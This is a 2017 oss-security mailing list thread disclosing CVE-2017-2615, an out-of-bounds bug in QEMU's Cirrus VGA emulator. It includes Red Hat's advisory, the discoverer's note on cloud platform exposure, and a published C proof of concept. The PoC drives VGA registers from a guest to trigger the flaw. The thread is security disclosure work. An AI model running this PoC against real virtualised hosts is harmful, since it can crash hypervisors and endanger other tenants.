Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 22 Feb 2017 03:43:06 +0000
From: 李强 <liqiang6-s@....cn>
To: oss security list <oss-security@...ts.openwall.com>
CC: P J P <ppandit@...hat.com>
Subject: RE: CVE-2017-2615 Qemu: display: cirrus: oob access while doing
 bitblt copy backward mode

FYI

The PoC for this is below:

/*
 *  CVE-2017-2615 PoC
 *
 *  Qiang Li of the Gear Team, Qihoo 360 Inc.
 *
 *  #gcc poc.c -o poc
 *  #./poc
 *
*/
#include <sys/io.h>
#include <stdio.h>

void write_sr(int idx,int val)
{
      outb(idx,0x3c4);
	outb(val,0x3c5);
}
void write_gr(int idx,int val)
{
	outb(idx,0x3ce);
	outb(val,0x3cf);
}


int main()
{
	iopl(3);
	write_sr(0x07,1);
	write_gr(0x31,0x80);
	write_gr(0x26,0xff);
	write_gr(0x27,0xff);
	write_gr(0x24,1);
	write_gr(0x20,0xff);
	write_gr(0x21,0xff);
	write_gr(0x22,0x0);
	write_gr(0x23,0x0);

	write_gr(0x28,0);
	write_gr(0x29,0);
	write_gr(0x2a,0);
	write_gr(0x2c,0xff);
	write_gr(0x2d,0xff);
	write_gr(0x2e,0xff);

	write_gr(0x30,1);
	write_gr(0x2a,0);

    return 0;
}


Thanks.

--
Li Qiang / the Gear Team, Qihoo 360 Inc

> -----Original Message-----
> From: 李强
> Sent: Monday, February 13, 2017 8:22 PM
> To: oss security list
> Cc: 'P J P'
> Subject: RE: CVE-2017-2615 Qemu: display: cirrus: oob access while doing bitblt
> copy backward mode
> 
> Hello all,
> 
> This is Li Qiang from the Gear Team, Qihoo 360 inc. I have discovered this
> vulnerability and make a patch for this, though not complete. When I send
> patch to fix this issue, I did know the Cirrus vga is not the default vga in qemu.
> So I just treat this as a normal issue. But afterwards we discovered that the
> libvirt and xen use this vga as default.
> We tested a lot of cloud platform in China, every of them uses the Cirrus vga as
> default. Most of them is affected by this issue. The only one doesn't be affected
> I think have fixed this issue. So we think this issue should be got more attention.
> We strongly commend every cloud platform treat this issue seriously. Though
> this vulnerability has been fixed for 10+ days, For responsible vulnerability
> disclosure, we will not public the PoC in this email. The PoC will be public later.
> 
> Thanks.
> 
> --
> Li Qiang / the Gear Team, Qihoo 360 Inc.
> 
> 
> > -----Original Message-----
> > From: P J P [mailto:ppandit@...hat.com]
> > Sent: Wednesday, February 01, 2017 5:50 PM
> > To: oss security list
> > Cc: 李强
> > Subject: CVE-2017-2615 Qemu: display: cirrus: oob access while doing
> > bitblt copy backward mode
> >
> >    Hello,
> >
> > Quick emulator(Qemu) built with the Cirrus CLGD 54xx VGA Emulator
> > support is vulnerable to an out-of-bounds access issue. It could occur
> > while copying VGA data via bitblt copy in backward mode.
> >
> > A privileged user inside guest could use this flaw to crash the Qemu
> > process resulting in DoS OR potentially execute arbitrary code on the
> > host with privileges of Qemu process on the host.
> >
> > Upstream patch
> > --------------
> >    ->
> > https://lists.gnu.org/archive/html/qemu-devel/2017-02/msg00015.html
> >
> > It fixes
> >    ->
> >
> http://git.qemu.org/?p=qemu.git;a=commit;h=d3532a0db02296e687711b8cdc
> > 7791924efccea0
> >
> > Reference:
> > ----------
> >    -> https://bugzilla.redhat.com/show_bug.cgi?id=1418200
> >
> > This issue was reported by Li Qiang of 360.cn Inc.
> >
> > CVE-2017-2615 was assigned to this issue by Red Hat Inc.
> >
> > Thank you.
> > --
> > Prasad J Pandit / Red Hat Product Security Team 47AF CE69 3A90 54AA
> > 9045
> > 1053 DD13 3D32 FE5B 041F

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.